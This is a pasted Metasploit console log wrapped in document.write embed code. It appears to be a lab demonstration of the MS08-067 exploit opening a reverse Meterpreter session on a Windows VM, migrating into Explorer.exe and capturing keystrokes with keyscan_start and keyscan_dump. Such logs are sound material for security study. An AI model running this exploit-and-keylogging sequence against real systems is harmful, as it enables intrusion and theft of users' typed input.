\n"); document.write(" \n"); document.write(" \n"); document.write(" \n"); document.write("\n"); document.write(" \n"); document.write(" \n"); document.write("\n"); document.write("\n"); document.write("\n"); document.write("\n"); document.write("\n"); document.write("\n"); document.write("\n"); document.write(" \n"); document.write("
\n"); document.write("
msf exploit(ms08_067_netapi) > exploit \n");
document.write("<\/span>\n");
document.write("[*] Handler binding to LHOST 0.0.0.0\n");
document.write("[*] Started reverse handler\n");
document.write("[*] Triggering the vulnerability...\n");
document.write("[*] Transmitting intermediate stager for over-sized stage...(191 bytes)\n");
document.write("[*] Sending stage (75776 bytes)\n");
document.write("[*] Meterpreter session 2 opened (192.168.0.139:4444 -> 192.168.0.118:1218)\n");
document.write("<\/span>\n");
document.write("meterpreter > ps    \n");
document.write("<\/span>\n");
document.write("Process list\n");
document.write("============\n");
document.write("<\/span>\n");
document.write("    PID   Name                          Path                                                                                        \n");
document.write("    ---   ----                          ----                                                                                        \n");
document.write("    276   smss.exe                      \\SystemRoot\\System32\\smss.exe                                                               \n");
document.write("    376   Explorer.EXE                  C:\\WINDOWS\\Explorer.EXE                                                                     \n");
document.write("    412   csrss.exe                     \\??\\C:\\WINDOWS\\system32\\csrss.exe                                                           \n");
document.write("    436   winlogon.exe                  \\??\\C:\\WINDOWS\\system32\\winlogon.exe                                                        \n");
document.write("    480   services.exe                  C:\\WINDOWS\\system32\\services.exe                                                            \n");
document.write("    492   lsass.exe                     C:\\WINDOWS\\system32\\lsass.exe                                                               \n");
document.write("    640   vmacthlp.exe                  C:\\Program Files\\VMware\\VMware Tools\\vmacthlp.exe                                           \n");
document.write("    656   svchost.exe                   C:\\WINDOWS\\system32\\svchost.exe                                                             \n");
document.write("    704   svchost.exe                   C:\\WINDOWS\\system32\\svchost.exe                                                             \n");
document.write("    760   cmd.exe                       C:\\WINDOWS\\System32\\cmd.exe                                                                 \n");
document.write("    768   svchost.exe                   C:\\WINDOWS\\System32\\svchost.exe                                                             \n");
document.write("    816   alg.exe                       C:\\WINDOWS\\System32\\alg.exe                                                                 \n");
document.write("    824   svchost.exe                   C:\\WINDOWS\\System32\\svchost.exe                                                             \n");
document.write("    900   svchost.exe                   C:\\WINDOWS\\System32\\svchost.exe                                                             \n");
document.write("    916   iTunesHelper.exe              X:\\iTunes\\iTunesHelper.exe                                                                  \n");
document.write("    968   VMwareUser.exe                C:\\Program Files\\VMware\\VMware Tools\\VMwareUser.exe                                         \n");
document.write("    984   jusched.exe                   C:\\Program Files\\Java\\jre1.6.0_01\\bin\\jusched.exe                                           \n");
document.write("    992   wscntfy.exe                   C:\\WINDOWS\\system32\\wscntfy.exe                                                             \n");
document.write("    1076  spoolsv.exe                   C:\\WINDOWS\\system32\\spoolsv.exe                                                             \n");
document.write("    1136  VMwareTray.exe                C:\\Program Files\\VMware\\VMware Tools\\VMwareTray.exe                                         \n");
document.write("<\/span>[ snip ]                                   \n");
document.write("<\/span>\n");
document.write("[ migrate into explorer.exe ]\n");
document.write("meterpreter > migrate 376\n");
document.write("[*] Migrating to 376...\n");
document.write("[*] Migration completed successfully.\n");
document.write("<\/span>\n");
document.write("meterpreter > keyscan_start \n");
document.write("Starting the keystroke sniffer...\n");
document.write("<\/span>\n");
document.write("[ wait a second ]\n");
document.write("<\/span>\n");
document.write("meterpreter > keyscan_dump \n");
document.write("Dumping captured keystrokes...\n");
document.write("<\/span>\n");
document.write("This is a test of the keystroke logger after migrating into Explorer.exe <Home>  <Back>  <Esc>\n");
document.write("<\/pre><\/pre>\n");
document.write("	\n");
document.write("	<\/div>\n");
document.write("\n");
document.write("\n");
document.write("  \n");
document.write("  \n");
document.write("  \n");
document.write("    \n");
document.write("      \n");
document.write("      <\/a>\n");
document.write("    <\/div>\n");
document.write("  \n");
document.write("    Pastie #423800<\/a> linked directly from Pastie<\/a>.\n");
document.write("  <\/div><\/div>");